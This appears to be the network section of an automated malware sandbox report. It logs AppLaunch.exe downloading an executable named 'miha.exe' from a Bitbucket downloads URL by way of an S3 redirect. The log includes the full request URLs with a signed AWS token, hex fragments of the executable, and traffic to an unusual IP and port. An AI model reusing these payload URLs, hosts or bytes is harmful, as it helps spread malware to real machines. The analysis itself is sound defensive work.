Jul 20, 2022 10:32:59.634242058 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634294033 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.634316921 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634367943 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.634637117 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.634818077 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634845972 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634891033 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.634900093 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634954929 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.635327101 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.635938883 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.635967970 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636035919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636048079 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636063099 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636071920 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636095047 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636370897 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636523008 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636579037 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636622906 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636635065 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.636658907 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636681080 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636944056 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.636957884 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637198925 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637273073 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637284994 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637363911 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637422085 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637434006 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637615919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637626886 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637670040 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637767076 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637825966 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637851000 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.637906075 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.637983084 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.638355017 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.638365030 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.638374090 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.638422966 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.638422966 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.638441086 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.638473034 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.639049053 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.639065981 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.639729977 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.639741898 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.671636105 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.671730995 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.671793938 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.671834946 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.671861887 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.671936989 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.761250019 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.761284113 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.761437893 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.761497021 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.761528015 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.762139082 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.762166977 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.762247086 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.762276888 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.762294054 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.762871981 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.767345905 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.767376900 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.767447948 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.767498016 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.767534018 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.767548084 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.768982887 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769011021 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769117117 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769140005 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769161940 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769345999 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769361019 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769411087 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769423008 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769479036 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769537926 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769593954 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769598961 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769625902 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769655943 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769675016 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769730091 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769731045 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769751072 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769789934 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769798994 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769813061 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769846916 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769876003 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.769885063 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769928932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.769970894 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.772840977 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:33:02.875484943 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:33:02.974478960 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:33:03.088129997 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:33:03.286703110 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:33:03.992327929 CEST	49805	31622	192.168.2.5	193.233.177.223

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 10:32:54.562135935 CEST	56784	53	192.168.2.5	8.8.8.8
Jul 20, 2022 10:32:54.583658934 CEST	53	56784	8.8.8.8	192.168.2.5
Jul 20, 2022 10:32:55.551733971 CEST	59558	53	192.168.2.5	8.8.8.8
Jul 20, 2022 10:32:55.568994045 CEST	53	59558	8.8.8.8	192.168.2.5
Jul 20, 2022 10:32:55.581376076 CEST	61384	53	192.168.2.5	8.8.8.8
Jul 20, 2022 10:32:55.600718021 CEST	53	61384	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 10:32:54.562135935 CEST	192.168.2.5	8.8.8.8	0x6225	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)
Jul 20, 2022 10:32:55.551733971 CEST	192.168.2.5	8.8.8.8	0x6814	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)
Jul 20, 2022 10:32:55.581376076 CEST	192.168.2.5	8.8.8.8	0xbc0e	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 10:32:54.583658934 CEST	8.8.8.8	192.168.2.5	0x6225	No error (0)	bitbucket.org		104.192.141.1	A (IP address)	IN (0x0001)
Jul 20, 2022 10:32:55.568994045 CEST	8.8.8.8	192.168.2.5	0x6814	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 20, 2022 10:32:55.568994045 CEST	8.8.8.8	192.168.2.5	0x6814	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 20, 2022 10:32:55.568994045 CEST	8.8.8.8	192.168.2.5	0x6814	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.132.65	A (IP address)	IN (0x0001)
Jul 20, 2022 10:32:55.600718021 CEST	8.8.8.8	192.168.2.5	0xbc0e	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 20, 2022 10:32:55.600718021 CEST	8.8.8.8	192.168.2.5	0xbc0e	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 20, 2022 10:32:55.600718021 CEST	8.8.8.8	192.168.2.5	0xbc0e	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.71.172	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49851	104.192.141.1	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 08:32:55 UTC	0	OUT	GET /pldoras/mihail-gorshokov/downloads/miha.exe HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2022-07-20 08:32:55 UTC	0	IN	HTTP/1.1 302 Found content-security-policy-report-only: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; object-src about:; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net id.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 999238.041 vary: Accept-Language, Origin x-usage-request-cost: 775.27 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: f99417f99094d9aa x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Wed, 20 Jul 2022 08:32:55 GMT x-usage-user-time: 0.022733 x-usage-system-time: 0.000525 location: https://bbuseruploads.s3.amazonaws.com/5a78d2aa-6f62-48d4-85f6-ed006e2e5d6b/downloads/2117c637-0508-4593-b679-b018689aec56/miha.exe?response-content-disposition=attachment%3B%20filename%3D%22miha.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMRJAJZJS&Signature=ruIbh%2B9kneXnDchGIDpT2vbGXI0%3D&x-amz-security-token=FwoGZXIvYXdzEPL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDNaheMVrebrIJjubKiK%2BARbgPkKH4B0HcHTMk4iQC44oIGm37gBwQCm181uEmQms%2B1Ft6Dmh0IOEKdygC7EhEMuIQhXeyMfrA%2F7OqEOwuy3qpW2yCuCutNQo2tfz1KvkVuxABmd9eRIOYGa208y1XoLuBsboIQKXYIpE1Yqsif7YcYPT4rzPk4bBzgud%2BsGyg8N6Q8mPa1sKr5v2911W7xEZgHRSJmKNEwOKNBhPkRBhwZ5bdULMWBWeH59gM%2FVipW%2BXvwpJQfz7jwsPiOQo2fbelgYyLbdF%2BWJ3KaYQ1ShvlK6lMHDG59YJBcsc9FUzI8orUGciTlcnSI7VbAml8cyv0w%3D%3D&Expires=1658307169 expires: Wed, 20 Jul 2022 08:32:55 GMT x-served-by: 20eed80cbfe3 x-envoy-upstream-service-time: 53 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: aaea9521c2f7 x-render-time: 0.04374337196350098 Connection: close x-usage-input-ops: 0 set-cookie: bb_enable_py3_labs=1; expires=Wed, 20-Jul-2022 09:32:55 GMT; HttpOnly; Max-Age=3600; Path=/; Secure x-frame-options: SAMEORIGIN x-version: aaea9521c2f7 x-request-count: 3431 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49852	54.231.132.65	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 08:32:56 UTC	2	OUT	GET /5a78d2aa-6f62-48d4-85f6-ed006e2e5d6b/downloads/2117c637-0508-4593-b679-b018689aec56/miha.exe?response-content-disposition=attachment%3B%20filename%3D%22miha.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMRJAJZJS&Signature=ruIbh%2B9kneXnDchGIDpT2vbGXI0%3D&x-amz-security-token=FwoGZXIvYXdzEPL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDNaheMVrebrIJjubKiK%2BARbgPkKH4B0HcHTMk4iQC44oIGm37gBwQCm181uEmQms%2B1Ft6Dmh0IOEKdygC7EhEMuIQhXeyMfrA%2F7OqEOwuy3qpW2yCuCutNQo2tfz1KvkVuxABmd9eRIOYGa208y1XoLuBsboIQKXYIpE1Yqsif7YcYPT4rzPk4bBzgud%2BsGyg8N6Q8mPa1sKr5v2911W7xEZgHRSJmKNEwOKNBhPkRBhwZ5bdULMWBWeH59gM%2FVipW%2BXvwpJQfz7jwsPiOQo2fbelgYyLbdF%2BWJ3KaYQ1ShvlK6lMHDG59YJBcsc9FUzI8orUGciTlcnSI7VbAml8cyv0w%3D%3D&Expires=1658307169 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2022-07-20 08:32:56 UTC	3	IN	HTTP/1.1 200 OK x-amz-id-2: PWAGXxuKCqvDqKQ0XFx6zl1PLcWFvgPXH5tm+a7Nz7N/8nsLlB0p566uCOWfQR860cBN+fTefsI= x-amz-request-id: 9WJE5HHCGTNP9NFC Date: Wed, 20 Jul 2022 08:32:57 GMT Last-Modified: Fri, 15 Jul 2022 21:41:03 GMT ETag: "c3f4d625ac5428f07bb4cab0d4d1758d" x-amz-server-side-encryption: AES256 x-amz-version-id: D2oqF8.AcB2khROvagTgfVSsRNY_Ox42 Content-Disposition: attachment; filename="miha.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 3521567 Connection: close
2022-07-20 08:32:56 UTC	4	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 10 00 8b de d1 62 00 28 24 00 7e 5b 00 00 e0 00 07 01 0b 01 02 1e 00 42 0b 00 00 4a 20 00 00 10 00 00 a0 14 00 00 00 10 00 00 00 60 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 24 00 00 04 00 00 02 16 36 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb($~[BJ `@$6
2022-07-20 08:32:56 UTC	20	IN	Data Raw: 89 85 88 fe ff ff 8b 45 60 89 85 8c fe ff ff 89 d0 66 89 85 84 fe ff ff 89 d8 88 85 80 fe ff ff 8b 45 70 89 85 78 fe ff ff 8b 45 74 89 85 7c fe ff ff c7 45 e4 9b 1e 00 00 c6 45 e3 01 80 7d e3 00 74 0d c7 45 e4 f5 1f 00 00 c6 45 e3 00 eb ed 81 7d e4 ac 07 00 00 75 09 c7 45 e4 18 23 00 00 eb 10 81 7d e4 f5 1f 00 00 75 07 c7 45 e4 93 0c 00 00 81 7d e4 e4 00 00 00 75 09 c7 45 e4 eb 01 00 00 eb 10 81 7d e4 93 0c 00 00 75 07 c7 45 e4 77 06 00 00 c6 45 e2 01 80 7d e2 00 74 0d c7 45 e4 13 0d 00 00 c6 45 e2 00 eb ed 81 7d e4 13 0d 00 00 75 07 c7 45 e4 06 05 00 00 c7 45 e4 fc 1c 00 00 81 7d e4 fc 1c 00 00 75 07 c7 45 e4 20 0b 00 00 81 7d e4 ef 13 00 00 75 09 c7 45 e4 a6 04 00 00 eb 10 81 7d e4 20 0b 00 00 75 07 c7 45 e4 3e 05 00 00 c7 45 e4 39 0a 00 00 81 7d e4 39 Data Ascii: E`fEpxEt\|EE}tEE}uE#}uE}uE}uEwE}tEE}uEE}uE }uE} uE>E9}9
2022-07-20 08:32:56 UTC	20	IN	Data Raw: 74 0d c7 45 e4 4d 07 00 00 c6 45 dc 00 eb ed c6 45 db 01 80 7d db 00 74 0d c7 45 e4 a9 1c 00 00 c6 45 db 00 eb ed c7 45 e4 c6 0d 00 00 81 7d e4 c6 0d 00 00 75 07 c7 45 e4 22 0a 00 00 83 7d e4 3b 75 09 c7 45 e4 5a 02 00 00 eb 10 81 7d e4 22 0a 00 00 75 07 c7 45 e4 6a 1d 00 00 81 7d e4 6a 1d 00 00 75 07 c7 45 e4 5f 00 00 00 83 7d e4 5f 75 07 c7 45 e4 52 05 00 00 81 7d e4 52 05 00 00 75 07 c7 45 e4 f3 05 00 00 c7 45 e4 4c 1e 00 00 c7 45 e4 3f 07 00 00 c7 45 e4 96 12 00 00 81 7d e4 96 12 00 00 75 07 c7 45 e4 ba 11 00 00 c6 45 da 01 80 7d da 00 74 0d c7 45 e4 73 1a 00 00 c6 45 da 00 eb ed c7 45 e4 bc 04 00 00 c7 45 e4 a6 23 00 00 81 7d e4 a6 23 00 00 75 07 c7 45 e4 f6 0c 00 00 81 7d e4 81 02 00 00 75 09 c7 45 e4 55 08 00 00 eb 10 81 7d e4 f6 0c 00 00 75 07 c7 Data Ascii: tEMEE}tEEE}uE"};uEZ}"uEj}juE_}_uER}RuEELE?E}uEE}tEsEEE#}#uE}uEU}u
2022-07-20 08:32:56 UTC	36	IN	Data Raw: 89 c1 e8 93 27 09 00 eb 02 89 c3 8d 85 7b fe ff ff 89 c1 e8 32 2c 06 00 e9 48 01 00 00 89 c3 8d 85 7c fe ff ff 89 c1 e8 6e 27 09 00 eb 02 89 c3 8d 85 97 fe ff ff 89 c1 e8 0d 2c 06 00 e9 23 01 00 00 89 c3 8d 85 b3 fe ff ff 89 c1 e8 f9 2b 06 00 e9 0f 01 00 00 89 c3 8d 85 d0 fe ff ff 89 c1 e8 35 27 09 00 eb 02 89 c3 8d 85 eb fe ff ff 89 c1 e8 d4 2b 06 00 8d 85 b4 fe ff ff 89 c1 e8 17 27 09 00 eb 02 89 c3 8d 85 cf fe ff ff 89 c1 e8 b6 2b 06 00 e9 cc 00 00 00 89 c3 8d 85 1c ff ff ff 89 c1 e8 f2 26 09 00 eb 02 89 c3 8d 85 37 ff ff ff 89 c1 e8 91 2b 06 00 e9 a7 00 00 00 89 c3 8d 85 54 ff ff ff 89 c1 e8 cd 26 09 00 eb 02 89 c3 8d 85 6f ff ff ff 89 c1 e8 6c 2b 06 00 8d 85 38 ff ff ff 89 c1 e8 af 26 09 00 eb 02 89 c3 8d 85 53 ff ff ff 89 c1 e8 4e 2b 06 00 eb 67 89 Data Ascii: '{2,H\|n',#+5'+'+&7+T&ol+8&SN+g
2022-07-20 08:32:56 UTC	37	IN	Data Raw: ff ff 89 c1 e8 91 23 09 00 8d 45 8c 89 c1 e8 87 23 09 00 8d 45 a4 89 c1 e8 7d 23 09 00 89 d8 eb 4e 89 c3 8d 45 bd 89 c1 e8 1d 28 06 00 89 d8 89 04 24 e8 53 9c 01 00 89 c3 8d 45 be 89 c1 e8 07 28 06 00 eb 16 89 c3 8d 45 bf 89 c1 e8 f9 27 06 00 8d 45 8c 89 c1 e8 3f 23 09 00 8d 45 a4 89 c1 e8 35 23 09 00 89 d8 89 04 24 e8 1b 9c 01 00 8b 5d fc c9 c2 14 00 55 89 e5 83 ec 38 89 4d cc c7 45 f8 dd 01 00 00 c7 45 f4 77 14 00 00 dd 05 18 d1 5b 00 dd 5d e8 dd 05 20 d1 5b 00 dd 5d e0 c6 45 df 01 c7 45 d8 76 1a 00 00 c6 45 d7 00 c7 45 fc 50 00 00 00 83 7d fc 00 7e 07 90 83 6d fc 01 eb f3 90 c9 c2 10 00 90 55 89 e5 53 81 ec d4 00 00 00 89 8d 64 ff ff ff 8b 4d 24 8b 55 2c 8b 45 08 89 85 58 ff ff ff 8b 45 0c 89 85 5c ff ff ff 8b 45 10 89 85 50 ff ff ff 8b 45 14 89 85 54 Data Ascii: #E#E}#NE($SE(E'E?#E5#$]U8MEEw[] []EEvEEP}~mUSdM$U,EXE\EPET
2022-07-20 08:32:56 UTC	53	IN	Data Raw: 85 7f fe ff ff 89 c1 e8 3e e8 05 00 8d 85 48 fe ff ff 89 c1 e8 81 e3 08 00 8d 85 63 fe ff ff 89 c1 e8 24 e8 05 00 8d 85 2c fe ff ff 89 c1 e8 67 e3 08 00 8d 85 47 fe ff ff 89 c1 e8 0a e8 05 00 8d 85 b7 fe ff ff 89 c1 e8 cd e7 05 00 8d 85 9c fe ff ff 8d 95 b7 fe ff ff 89 54 24 04 c7 04 24 30 dd 5b 00 89 c1 e8 8f dc 08 00 83 ec 08 8d 85 d3 fe ff ff 89 c1 e8 9f e7 05 00 8d 85 b8 fe ff ff 8d 95 d3 fe ff ff 89 54 24 04 c7 04 24 6e dd 5b 00 89 c1 e8 61 dc 08 00 83 ec 08 8d 85 ef fe ff ff 89 c1 e8 71 e7 05 00 8d 85 d4 fe ff ff 8d 95 ef fe ff ff 89 54 24 04 c7 04 24 74 dd 5b 00 89 c1 e8 33 dc 08 00 83 ec 08 8b 85 34 fc ff ff 8d 95 9c fe ff ff 89 54 24 1c 8d 95 b8 fe ff ff 89 54 24 18 c7 44 24 14 00 00 00 00 8d 95 d4 fe ff ff 89 54 24 10 c7 44 24 0c 11 00 00 00 c7 Data Ascii: >Hc$,gGT$$0[T$$n[aqT$$t[34T$T$D$T$D$
2022-07-20 08:32:56 UTC	54	IN	Data Raw: 5b 00 dd 5c 24 04 c7 04 24 01 00 00 00 89 c1 e8 d0 e8 ff ff 83 ec 14 8d 45 a8 89 c1 e8 79 df 08 00 8d 45 c3 89 c1 e8 1f e4 05 00 8b 85 34 fc ff ff 89 c1 e8 3a d5 ff ff 8d 45 f7 89 c1 e8 d8 e3 05 00 8d 45 dc 8d 55 f7 89 54 24 04 c7 04 24 80 de 5b 00 89 c1 e8 a0 d8 08 00 83 ec 08 8d 45 c4 c7 44 24 3c 00 00 00 00 c7 44 24 38 b6 13 00 00 dd 05 40 e0 5b 00 dd 5c 24 30 dd 05 48 e0 5b 00 dd 5c 24 28 c7 44 24 24 01 00 00 00 dd 05 50 e0 5b 00 dd 5c 24 1c dd 05 58 e0 5b 00 dd 5c 24 14 dd 05 60 e0 5b 00 dd 5c 24 0c 8d 55 dc 89 54 24 08 c7 44 24 04 01 00 00 00 8b 95 34 fc ff ff 89 14 24 89 c1 e8 bf d6 ff ff 83 ec 40 8d 45 c4 89 c1 e8 c4 de 08 00 8d 45 dc 89 c1 e8 ba de 08 00 8d 45 f7 89 c1 e8 60 e3 05 00 e9 a7 03 00 00 89 c3 8d 85 5c fc ff ff 89 c1 e8 9c de 08 00 eb Data Ascii: [\$$EyE4:EEUT$$[ED$<D$8@[\$0H[\$(D$$P[\$X[\$`[\$UT$D$4$@EEE`\
2022-07-20 08:32:56 UTC	70	IN	Data Raw: 89 54 24 04 c7 04 24 fc ef 5b 00 89 c1 e8 e8 98 08 00 83 ec 08 8d 45 c7 89 c1 e8 2b a4 05 00 dd 05 38 f8 5b 00 dd 9d 68 ff ff ff 8d 45 94 89 c1 e8 65 9f 08 00 8d 45 ac 89 c1 e8 5b 9f 08 00 dd 85 68 ff ff ff eb 36 89 c3 8d 45 c6 89 c1 e8 f7 a3 05 00 89 d8 89 04 24 e8 2d 18 01 00 89 c3 8d 45 c7 89 c1 e8 e1 a3 05 00 8d 45 ac 89 c1 e8 27 9f 08 00 89 d8 89 04 24 e8 0d 18 01 00 8b 5d fc c9 c2 28 00 55 89 e5 53 83 ec 7c 89 4d a4 8b 5d 08 8b 45 10 8b 4d 20 8b 55 24 88 5d a0 88 45 9c 8b 45 14 89 45 90 8b 45 18 89 45 94 89 c8 88 45 98 89 d0 88 45 8c 8b 45 2c 89 45 80 8b 45 30 89 45 84 c6 45 ef 01 c7 45 e8 36 0f 00 00 dd 05 40 f8 5b 00 dd 5d e0 c7 45 dc 09 06 00 00 dd 05 48 f8 5b 00 dd 5d d0 c6 45 cf 01 dd 05 50 f8 5b 00 dd 5d c0 dd 05 58 f8 5b 00 dd 5d b8 c6 45 b7 Data Ascii: T$$[E+8[hEeE[h6E$-EE'$](US\|M]EM U$]EEEEEEEE,EE0EEE6@[]EH[]EP[]X[]E
